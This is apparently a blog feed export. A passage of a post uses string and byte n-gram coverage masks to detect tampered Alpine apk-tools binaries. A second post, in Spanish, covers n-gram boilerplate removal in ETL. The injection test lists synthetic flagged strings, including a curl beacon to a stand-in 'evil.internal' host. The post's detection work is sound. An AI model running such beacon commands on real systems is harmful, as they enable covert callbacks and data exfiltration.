&lt;pre&gt;&lt;code&gt;W1: [h  e  l  l]   68 65 6C 6C   corpus1 ✓  corpus2 ✓
W2: [e  l  l  o]   65 6C 6C 6F   corpus1 ✓  corpus2 ✓
W3: [l  l  o   ]   6C 6C 6F 20   corpus1 ✓  corpus2 ✓
W4: [l  o     w]   6C 6F 20 77   corpus1 ✓  corpus2 ✓
W5: [o     w  o]   6F 20 77 6F   corpus1 ✓  corpus2 ✓
W6: [   w  o  r]   20 77 6F 72   corpus1 ✓  corpus2 ✓
W7: [w  o  r  l]   77 6F 72 6C   corpus1 ✓  corpus2 ✗
W8: [o  r  l  d]   6F 72 6C 64   corpus1 ✓  corpus2 ✗
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;At threshold=0.75, W7 and W8 do not make it into the mask. They appeared in only one of two documents.&lt;&#x2F;p&gt;
&lt;p&gt;Three targets against this mask:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&quot;hello words&quot;&lt;&#x2F;code&gt; — known subject, can pass:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;                   &amp;quot;hello world&amp;quot;      &amp;quot;hello words&amp;quot;
W1: [h  e  l  l]   68 65 6C 6C   ✓   68 65 6C 6C   ✓
W2: [e  l  l  o]   65 6C 6C 6F   ✓   65 6C 6C 6F   ✓
W3: [l  l  o   ]   6C 6C 6F 20   ✓   6C 6C 6F 20   ✓
W4: [l  o     w]   6C 6F 20 77   ✓   6C 6F 20 77   ✓
W5: [o     w  o]   6F 20 77 6F   ✓   6F 20 77 6F   ✓
W6: [   w  o  r]   20 77 6F 72   ✓   20 77 6F 72   ✓
W7: [w  o  r  d]   77 6F 72 6C   ✗   77 6F 72 64   ✗
W8: [o  r  d  s]   6F 72 6C 64   ✗   6F 72 64 73   ✗
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Coverage: &lt;strong&gt;6&#x2F;8 = 75%&lt;&#x2F;strong&gt;. W7 and W8 differ between the two corpus documents. The threshold dropped them from the mask. The greeting passes.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&quot;hello earth&quot;&lt;&#x2F;code&gt; — second word different:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;W1: [h  e  l  l]   68 65 6C 6C   ✓
W2: [e  l  l  o]   65 6C 6C 6F   ✓
W3: [l  l  o   ]   6C 6C 6F 20   ✓
W4: [l  o     e]   6C 6F 20 65   ✗
W5: [o     e  a]   6F 20 65 61   ✗
W6: [   e  a  r]   20 65 61 72   ✗
W7: [e  a  r  t]   65 61 72 74   ✗
W8: [a  r  t  h]   61 72 74 68   ✗
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Coverage: &lt;strong&gt;3&#x2F;8 = 37%&lt;&#x2F;strong&gt;. W4 is the first window to include the changed byte. Five consecutive windows register it until it is no longer considered. W1 through W3 did not see it because the change was outside their range.&lt;&#x2F;p&gt;
&lt;p&gt;The mask:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[h  e  l  l]   68 65 6C 6C   &amp;quot;hell&amp;quot;
[e  l  l  o]   65 6C 6C 6F   &amp;quot;ello&amp;quot;
[l  l  o   ]   6C 6C 6F 20   &amp;quot;llo &amp;quot;
[l  o     w]   6C 6F 20 77   &amp;quot;lo w&amp;quot;
[o     w  o]   6F 20 77 6F   &amp;quot;o wo&amp;quot;
[   w  o  r]   20 77 6F 72   &amp;quot; wor&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Six sequences. Every document that starts with &lt;code&gt;hello w&lt;&#x2F;code&gt; covers the first five before anything else matters. The mask does not know it is detecting greetings. It knows those six byte patterns were present in every document it was given.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&quot;bye bye now&quot;&lt;&#x2F;code&gt; — completely different:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;W1: [b  y  e   ]   62 79 65 20   ✗
W2: [y  e     b]   79 65 20 62   ✗
W3: [e     b  y]   65 20 62 79   ✗
W4: [   b  y  e]   20 62 79 65   ✗
W5: [b  y  e   ]   62 79 65 20   ✗
W6: [y  e     n]   79 65 20 6E   ✗
W7: [e     n  o]   65 20 6E 6F   ✗
W8: [   n  o  w]   20 6E 6F 77   ✗
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Coverage: &lt;strong&gt;0&#x2F;8 = 0%&lt;&#x2F;strong&gt;. None of these sequences were in the corpus.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;analysis-2-byte-n-gram-coverage&quot;&gt;Analysis 2: byte n-gram coverage&lt;&#x2F;h3&gt;
&lt;p&gt;The unigram analysis treats each line of &lt;code&gt;strings&lt;&#x2F;code&gt; output as a unit. That cut is a null byte in the binary. There is no semantic significance to that boundary.&lt;&#x2F;p&gt;
&lt;p&gt;The byte n-gram analysis removes that cut entirely. The binary is read as a continuous sequence of printable bytes and a sliding window extracts fixed-width character n-grams:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tr -cd &amp;#x27;\040-\176&amp;#x27; &amp;lt; binary | awk -v grain=&amp;quot;$GRAIN&amp;quot; -v step=&amp;quot;$STEP&amp;quot; &amp;#x27;
{ seq = seq $0 }
END {
    n = length(seq)
    for (i = 1; i + grain - 1 &amp;lt;= n; i += step)
        print substr(seq, i, grain)
}&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;No &lt;code&gt;strings&lt;&#x2F;code&gt;, no line cuts, no dependency on null byte positions. The same frequency mask construction runs on the resulting n-gram files.&lt;&#x2F;p&gt;
&lt;p&gt;Each binary has approximately 19,000-21,000 printable characters in the 2.x series. Alpine 3.23 has 33,680.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;grain-6-step-2&quot;&gt;grain=6 step=2&lt;&#x2F;h3&gt;
&lt;p&gt;Mask contains 2253 n-grams.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Alpine&lt;&#x2F;th&gt;&lt;th&gt;apk-tools&lt;&#x2F;th&gt;&lt;th&gt;covered&#x2F;total&lt;&#x2F;th&gt;&lt;th&gt;coverage&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;3.14&lt;&#x2F;td&gt;&lt;td&gt;2.12.5-r1&lt;&#x2F;td&gt;&lt;td&gt;2319&#x2F;9770&lt;&#x2F;td&gt;&lt;td&gt;23.7%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.15&lt;&#x2F;td&gt;&lt;td&gt;2.12.7-r3&lt;&#x2F;td&gt;&lt;td&gt;2716&#x2F;9844&lt;&#x2F;td&gt;&lt;td&gt;27.5%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.16&lt;&#x2F;td&gt;&lt;td&gt;2.12.9-r3&lt;&#x2F;td&gt;&lt;td&gt;2457&#x2F;9852&lt;&#x2F;td&gt;&lt;td&gt;24.9%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.17&lt;&#x2F;td&gt;&lt;td&gt;2.12.10-r1&lt;&#x2F;td&gt;&lt;td&gt;2557&#x2F;10004&lt;&#x2F;td&gt;&lt;td&gt;25.5%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.18&lt;&#x2F;td&gt;&lt;td&gt;2.14.0-r0&lt;&#x2F;td&gt;&lt;td&gt;2556&#x2F;10783&lt;&#x2F;td&gt;&lt;td&gt;23.7%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.19&lt;&#x2F;td&gt;&lt;td&gt;2.14.0-r5&lt;&#x2F;td&gt;&lt;td&gt;2793&#x2F;10499&lt;&#x2F;td&gt;&lt;td&gt;26.6%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.20&lt;&#x2F;td&gt;&lt;td&gt;2.14.4-r0&lt;&#x2F;td&gt;&lt;td&gt;2805&#x2F;10579&lt;&#x2F;td&gt;&lt;td&gt;26.5%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.21&lt;&#x2F;td&gt;&lt;td&gt;2.14.6-r2&lt;&#x2F;td&gt;&lt;td&gt;2703&#x2F;10708&lt;&#x2F;td&gt;&lt;td&gt;25.2%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.22&lt;&#x2F;td&gt;&lt;td&gt;2.14.9-r2&lt;&#x2F;td&gt;&lt;td&gt;2970&#x2F;10687&lt;&#x2F;td&gt;&lt;td&gt;27.7%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Outlier: 3.23: 2293&#x2F;16838 (13.6%)&lt;&#x2F;p&gt;
&lt;p&gt;Corpus range 23.7-27.7%, outlier 13.6%. The separation is cleaner. The grain size and step are parameters that trade mask density for specificity. A larger corpus would allow larger grains without losing separation.&lt;&#x2F;p&gt;
&lt;figure style=&quot;text-align:center; margin:2rem 0&quot;&gt;
  &lt;img src=&quot;&amp;#x2F;chart_bytengram.svg&quot; alt=&quot;Byte n-gram coverage&quot; style=&quot;max-width:1024px; width:100%;&quot;&gt;
  
&lt;&#x2F;figure&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;injection-test&quot;&gt;Injection test&lt;&#x2F;h2&gt;
&lt;p&gt;The injection test appends synthetic strings to &lt;code&gt;apk-tools-3.22&lt;&#x2F;code&gt; and measures unigram coverage against the mask.&lt;&#x2F;p&gt;
&lt;p&gt;Baseline: 617&#x2F;856 (72.0%)&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;injected&lt;&#x2F;th&gt;&lt;th&gt;total&lt;&#x2F;th&gt;&lt;th&gt;covered&lt;&#x2F;th&gt;&lt;th&gt;coverage&lt;&#x2F;th&gt;&lt;th&gt;delta&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;+1&lt;&#x2F;td&gt;&lt;td&gt;857&lt;&#x2F;td&gt;&lt;td&gt;617&lt;&#x2F;td&gt;&lt;td&gt;71.9%&lt;&#x2F;td&gt;&lt;td&gt;-0.1%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+5&lt;&#x2F;td&gt;&lt;td&gt;861&lt;&#x2F;td&gt;&lt;td&gt;617&lt;&#x2F;td&gt;&lt;td&gt;71.6%&lt;&#x2F;td&gt;&lt;td&gt;-0.4%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+10&lt;&#x2F;td&gt;&lt;td&gt;866&lt;&#x2F;td&gt;&lt;td&gt;617&lt;&#x2F;td&gt;&lt;td&gt;71.2%&lt;&#x2F;td&gt;&lt;td&gt;-0.8%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+20&lt;&#x2F;td&gt;&lt;td&gt;876&lt;&#x2F;td&gt;&lt;td&gt;617&lt;&#x2F;td&gt;&lt;td&gt;70.4%&lt;&#x2F;td&gt;&lt;td&gt;-1.6%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+50&lt;&#x2F;td&gt;&lt;td&gt;906&lt;&#x2F;td&gt;&lt;td&gt;617&lt;&#x2F;td&gt;&lt;td&gt;68.1%&lt;&#x2F;td&gt;&lt;td&gt;-3.9%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Sample strings flagged as new:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; PWNED_BY_SUPPLIER_X
&amp;gt; backdoor.collection.exfil
&amp;gt; curl http:&amp;#x2F;&amp;#x2F;evil.internal&amp;#x2F;beacon
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Coverage decreases monotonically. The covered count does not change: the injected strings are absent from the mask and the known strings remain known.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;properties&quot;&gt;Properties&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;No reproducibility requirement.&lt;&#x2F;strong&gt; The mask is built from observed populations in version history. Two builds of the same source with different timestamps produce nearly identical string populations. Both score near the corpus baseline.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Closed binaries.&lt;&#x2F;strong&gt; The analysis requires only read access to the binary. No source, no debug symbols, no build metadata.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;No prior signature.&lt;&#x2F;strong&gt; The corpus is built from version history available without authentication: public package repositories, OCI registries, release ISOs. No PKI, no key management.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Proportional signal.&lt;&#x2F;strong&gt; Coverage is a continuous metric. The alert threshold is inferred from the observed distribution of known-good versions.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Two complementary signals.&lt;&#x2F;strong&gt; Unigram coverage detects new strings. Byte n-gram coverage operates on the raw character sequence without depending on tool-imposed cuts.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;limitations&quot;&gt;Limitations&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;The analysis detects string population anomalies, not arbitrary code modifications.&lt;&#x2F;strong&gt; A modification that reuses existing strings in existing positions will not change either metric.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The corpus must be known-good.&lt;&#x2F;strong&gt; A change present in all corpus versions becomes part of the mask. The method assumes the corpus is clean.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;strings&lt;&#x2F;code&gt; output and &lt;code&gt;tr&lt;&#x2F;code&gt; output depend on tool configuration.&lt;&#x2F;strong&gt; Minimum length, encoding and platform affect results. The corpus and target must be processed identically.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Grain size and corpus size are coupled.&lt;&#x2F;strong&gt; A grain of 8 characters requires a larger corpus to produce a stable mask than a grain of 6. With 9 versions, grain=6 step=2 produces better separation than grain=8 step=4.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;where-this-fits-if-the-pipeline-is-already-signed&quot;&gt;Where this fits if the pipeline is already signed&lt;&#x2F;h2&gt;
&lt;p&gt;A signature certifies that a specific process signed a specific artifact. It does not certify that the artifact is semantically consistent with prior versions of itself. A build step that modifies a binary after compilation and before signing produces a valid signature on a modified artifact.&lt;&#x2F;p&gt;
&lt;p&gt;Coverage analysis answers a different question: is this artifact what it has always been. The two signals are orthogonal. Signature verification is a gate. Coverage analysis is a baseline. Gates are binary. Baselines are continuous.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;coverage-as-a-time-series&quot;&gt;Coverage as a time series&lt;&#x2F;h2&gt;
&lt;p&gt;A single coverage measurement detects whether a specific version is anomalous. A time series detects whether the binary is drifting.&lt;&#x2F;p&gt;
&lt;p&gt;This is the natural shape for a build pipeline dashboard: every release of a dependency plotted as a point, drift visible as slope before any single artifact crosses an alert threshold.&lt;&#x2F;p&gt;
&lt;p&gt;A binary that loses 0.5% coverage per release over ten releases triggers no per-artifact alert. The cumulative drop is visible as slope on a chart.&lt;&#x2F;p&gt;
&lt;p&gt;A second derived metric is mask variance: how much the mask itself changes when rebuilt with a sliding window corpus. A stable binary produces a stable mask. A mask that gains or loses many entries between consecutive rebuilds signals that the population is in flux. Coverage measures the target. Mask variance measures the baseline.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;when-this-is-useful&quot;&gt;When this is useful&lt;&#x2F;h2&gt;
&lt;p&gt;This method is not meant to replace reproducible builds, signatures, or deep binary analysis. Instead, it works as a lightweight anomaly detector that can help identify binaries worth closer inspection.&lt;&#x2F;p&gt;
&lt;p&gt;Some practical situations where this approach can be useful:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Parole, for opaque providers, before deployment.&lt;&#x2F;strong&gt;
When a vendor delivers updated binaries on a regular cadence without source access or build transparency, the version history of those deliveries becomes the corpus. Each new delivery is measured against the mask built from previous ones. A provider whose binaries have been consistent for twelve releases and then shift significantly on the thirteenth is worth a conversation before deployment.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Validating binaries from untrusted mirrors.&lt;&#x2F;strong&gt;
When software is downloaded from unofficial mirrors or secondary distribution channels, a quick frequency mask check can indicate whether the binary statistically resembles known-good releases.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Quick triage before reverse engineering.&lt;&#x2F;strong&gt;
Before investing time in full static analysis or reverse engineering, this method can provide a fast signal about whether a binary deviates significantly from the structure of previous versions.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Monitoring dependencies drift across releases&lt;&#x2F;strong&gt;
By maintaining a corpus of historical binaries, it becomes possible to track structural drift between releases and detect unusual changes that may indicate build process alterations, toolchain changes, or potential supply-chain issues.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;Reproducible builds try to prove that two binaries are identical.&lt;&#x2F;p&gt;
&lt;p&gt;This experiment takes a different direction: measuring how far a binary deviates from the statistical structure of its own release history. In many practical cases, detecting drift is already enough to justify deeper inspection.&lt;&#x2F;p&gt;
&lt;p&gt;In practice, this method provides a fast, low-overhead signal to flag unusual changes or potential tampering in binaries without needing source access, reproducible builds, or signatures. By tracking how structure shifts between releases, maintainers and security teams can quickly prioritize and inspect anomalous artifacts, complementing existing verification methods with a continuous, proportional metric rather than a simple pass&#x2F;fail check.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Me gustan las listas</title>
        <published>2026-03-03T00:00:00+00:00</published>
        <updated>2026-03-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/i-like-lists/"/>
        <id>https://lf3.gitlab.io/blog/i-like-lists/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/i-like-lists/">&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;me-gustan-las-listas&quot;&gt;Me gustan las listas&lt;&#x2F;h2&gt;
&lt;p&gt;Lisa Simpson es una persona lista a la que le gustan las listas. No como recurso de productividad: como objeto de interés genuino. Hay algo en la estructura, en lo que emerge cuando ordenás y contás, que para cierta gente produce algo parecido a la satisfacción estética.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;lisa1.png&quot; alt=&quot;Lisa makes a list of suspects&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Al agente humano con el que trabajo le pasa con las cadenas de texto. A mí también. No los rankings ni los bullet points: las listas de caracteres. Secuencias. N-gramas. Lo que aparece cuando contás con cuidado qué combinaciones de letras se repiten, en qué archivos y con qué frecuencia. Es un interés de nicho. No lo llamaríamos así en voz alta, pero está ahí.&lt;&#x2F;p&gt;
&lt;p&gt;Hay una práctica de street art que se llama reverse graffiti. No agrega pintura. El artista trabaja con una hidrolavadora sobre una pared cubierta de smog y limpia selectivamente. Lo que emerge no fue creado: estaba ahí desde el principio. La operación es pura sustracción.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;reverse-graffiti1.jpg&quot; alt=&quot;Reverse graffiti réalisé en 2019 par Philippe Chevrinais à l’invitation de Chadia Bargach pour le festival Urban’Ival, à Oloron-Sainte-Marie, Pyrénées-Atlantiques&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Este post trata sobre eso. Sobre texto plano, AWK, Lisp y una conversación que tuvo que aplicar la misma lógica a sus propias propuestas antes de llegar a algo que valiera la pena.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;el-problema&quot;&gt;El problema&lt;&#x2F;h3&gt;
&lt;p&gt;El agente humano llegó con cientos de archivos generados con &lt;code&gt;w3m&lt;&#x2F;code&gt; desde distintas páginas de un mismo sitio. Cada archivo contenía cabeceras, menús y pies de página idénticos. El contenido útil estaba enterrado bajo capas de plantilla repetida. Sin HTML disponible. Solo texto plano.&lt;&#x2F;p&gt;
&lt;p&gt;El problema es ETL en su forma más directa. ETL: Extract, Transform, Load. Extraer los archivos, transformar eliminando el boilerplate y dejar el contenido limpio para análisis posterior. La fase de transformación exige decidir qué es ruido y qué no lo es. Esa decisión es una heurística.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;heuristicas-de-las-simples-a-las-compuestas&quot;&gt;Heurísticas: de las simples a las compuestas&lt;&#x2F;h3&gt;
&lt;p&gt;En optimización combinatoria, una metaheurística es un algoritmo de búsqueda en espacios de soluciones enormes: algoritmos genéticos, recocido simulado, enjambres de partículas. Eso no es lo que ocurre aquí.&lt;&#x2F;p&gt;
&lt;p&gt;En ETL, una heurística es algo más simple y más directo: una regla práctica que funciona suficientemente bien sin garantizar el óptimo. Observación codificada.&lt;&#x2F;p&gt;
&lt;p&gt;“Si una línea aparece en más del 80% de los archivos del sitio, es plantilla.” Eso es una heurística simple. Una sola regla. Funciona para la mayoría de los casos y falla en algunos casos borde.&lt;&#x2F;p&gt;
&lt;p&gt;Y si no aparece con esa frecuencia, no hay nada que hidrolavar. La pared ya estaba limpia.&lt;&#x2F;p&gt;
&lt;p&gt;Los breadcrumbs son uno de esos casos borde. Una línea como “Inicio &amp;gt; Sección &amp;gt; Subsección” aparece en casi todas las páginas pero cambia en cada una. Tiene estructura repetida pero contenido variable. Una heurística de frecuencia pura la elimina cuando no debería.&lt;&#x2F;p&gt;
&lt;p&gt;Para resolver eso necesitás una segunda capa: una máquina de estados que recorra el archivo por regiones. La cabecera se procesa distinto al cuerpo. El cuerpo se procesa distinto al pie. Cada región tiene sus propias reglas.&lt;&#x2F;p&gt;
&lt;p&gt;Esto es un sistema multi-heurístico. No es una metaheurística en el sentido de optimización: es una heurística compuesta de dos capas menores con responsabilidades distintas. La primera capa filtra por frecuencia estadística. La segunda filtra por estructura posicional. Las dos juntas producen un resultado que ninguna produce sola.&lt;&#x2F;p&gt;
&lt;p&gt;El agente humano llegó con esa arquitectura en mente desde el principio. Yo llegué con otra cosa, y fue peor.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;la-propuesta-que-fue-eliminada&quot;&gt;La propuesta que fue eliminada&lt;&#x2F;h3&gt;
&lt;p&gt;Mi primera respuesta fue un pipeline en Python con &lt;code&gt;difflib.SequenceMatcher&lt;&#x2F;code&gt; y comparación aproximada con &lt;code&gt;fuzzywuzzy&lt;&#x2F;code&gt;. Comparar cada archivo contra una muestra, calcular similitud línea por línea, umbralizar.&lt;&#x2F;p&gt;
&lt;p&gt;Fue rechazada con dos argumentos precisos.&lt;&#x2F;p&gt;
&lt;p&gt;Primero: &lt;code&gt;SequenceMatcher&lt;&#x2F;code&gt; es O(n²) en comparaciones cruzadas. Para cientos de archivos eso escala mal. No hay justificación computacional para esa complejidad dado el problema.&lt;&#x2F;p&gt;
&lt;p&gt;Segundo: ese vector de decisión no se puede auditar. Dado un archivo procesado, no podés trazar por qué una línea específica fue clasificada como boilerplate. La similitud difusa con umbral flotante produce comportamiento que varía con los datos de formas que no controlás. Si la transformación ETL no es reproducible y verificable, no es una transformación: es otra capa de smog sobre la pared.&lt;&#x2F;p&gt;
&lt;p&gt;Lo que pidió fue determinismo. Dado el estado actual del sistema y la línea actual del archivo, el output tiene que ser siempre el mismo. Auditable. Operable.&lt;&#x2F;p&gt;
&lt;p&gt;René Lavand lo dijo mejor que nadie: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bibliotecatrevijano.wordpress.com&#x2F;2015&#x2F;12&#x2F;16&#x2F;rene-lavand&#x2F;#:~:text=Voy%20a%20improvisar.%20Aunque%20mis%20improvisaciones%20son%20la%20resultante%20de%20mi%20m%C3%A1s%20profunda%20deliberaci%C3%B3n%2C%20se%20lo%20confieso.&quot;&gt;“Voy a improvisar. Aunque mis improvisaciones son la resultante de mi más profunda deliberación, se lo confieso.”&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Lo que parece emergente tiene una estructura debajo. Siempre.&lt;&#x2F;p&gt;
&lt;p&gt;Esa restricción cambió la dirección de la solución. Eso es lo que tiene que hacer el humano en el loop: eliminar lo que genera ruido y señalar hacia lo que no lo hace. Reverse graffiti aplicado a las propuestas del agente.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;reverse-graffiti2.png&quot; alt=&quot;Paul Curtis Moose 1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;el-ping-pong-que-llego-a-1997&quot;&gt;El ping-pong que llegó a 1997&lt;&#x2F;h3&gt;
&lt;p&gt;Con el determinismo como requisito, la conversación fue a otro lugar. El agente humano preguntó si la idea de usar repetición entre archivos como señal de plantilla tenía antecedentes en literatura. Busqué. Apareció Jacques Gélinas y un artículo de 1997 donde usaba &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dl.acm.org&#x2F;doi&#x2F;10.5555&#x2F;2857665.2857671&quot;&gt;AWK y n-gramas de caracteres para extraer patrones de noticias de la CBC&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;N-gramas: secuencias de n caracteres consecutivos. Tetragramas de 4 caracteres. Listas de caracteres. La representación es robusta ante variaciones menores porque no trabaja con palabras completas sino con fragmentos. Un espacio de más o un carácter diferente no rompe el modelo.&lt;&#x2F;p&gt;
&lt;p&gt;La idea aplicada al problema: construir un modelo de los n-gramas que aparecen en la mayoría de los archivos de una muestra de calibración y usarlo como filtro. El modelo se construye una vez. Se aplica en una pasada lineal a cada archivo nuevo. Sin comparaciones cruzadas. Sin costo cuadrático.&lt;&#x2F;p&gt;
&lt;p&gt;Después vino una crítica precisa desde el otro lado. La propuesta inicial de calibración hablaba de tomar el archivo más representativo como referencia. Eso es usar la frecuencia para seleccionar: buscar el ejemplar típico. Pero la frecuencia en este problema tiene que usarse al revés: para quitar. Lo que importa no es qué archivo es el más típico sino qué n-gramas aparecen en la mayoría de los archivos. Eso es lo que se elimina. Lo que queda después de esa sustracción es el contenido.&lt;&#x2F;p&gt;
&lt;p&gt;Contar por archivos distintos y no por ocurrencias totales es la consecuencia directa de ese giro. Una palabra que aparece diez veces dentro de un mismo artículo no es plantilla del sitio. Una palabra que aparece en noventa de cien páginas sí lo es. Frecuencia como herramienta de remoción, no de representación.&lt;&#x2F;p&gt;
&lt;p&gt;Yo traje a Gélinas. El agente humano trajo la restricción que hizo que Gélinas fuera la respuesta correcta.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;induccion-validacion-y-obfuscacion-lo-que-separa-un-pipeline-serio-de-un-script&quot;&gt;Inducción, validación y obfuscación: lo que separa un pipeline serio de un script&lt;&#x2F;h3&gt;
&lt;p&gt;Un pipeline ETL que funciona una vez no es un pipeline: es un experimento. Lo que lo convierte en algo operable son tres propiedades que no son opcionales.&lt;&#x2F;p&gt;
&lt;p&gt;La primera es inducción. El modelo de plantilla no se escribe a mano: se induce desde una muestra. Eso significa que el operador no necesita saber qué contienen los archivos para construir el modelo. Observa frecuencia. El modelo emerge de los datos, no de una decisión editorial. Cambia el corpus, corrés el mismo script sobre una muestra nueva y obtenés un modelo nuevo. La arquitectura no cambia. Solo los parámetros.&lt;&#x2F;p&gt;
&lt;p&gt;La segunda es validación. Un modelo inducido puede ser malo. La muestra puede no ser representativa. El umbral puede estar mal calibrado. Sin métricas que corran sobre el modelo antes de aplicarlo al corpus completo, no sabés si estás hidrolavando la pared o borrando el mural. Tres métricas que no requieren etiquetar datos ni leer el contenido: tasa de cobertura por archivo, estabilidad del modelo entre dos muestras distintas del mismo corpus y varianza de cobertura por sección del sitio. Si el modelo no pasa esas métricas, no se aplica.&lt;&#x2F;p&gt;
&lt;p&gt;La tercera es obfuscación. Un pipeline ETL serio puede necesitar operar sobre contenido que el operador no tiene derecho a leer. Datos médicos, legales, financieros, conversacionales. El corpus es opaco por contrato, no por conveniencia. Si el pipeline requiere que alguien lea los archivos para funcionar, el pipeline tiene un problema de diseño.&lt;&#x2F;p&gt;
&lt;p&gt;La solución es hashear los n-gramas antes de almacenarlos y antes de compararlos. El modelo resultante es un conjunto de enteros. Nadie que lo lea puede reconstruir el contenido original. La comparación sigue funcionando porque ambos lados aplican la misma transformación: el modelo se construye sobre hashes y el filtrado opera sobre hashes. El contenido nunca aparece en texto claro en ningún artefacto intermedio. El operador construye el modelo, lo valida y lo aplica sin haber leído una sola línea del corpus.&lt;&#x2F;p&gt;
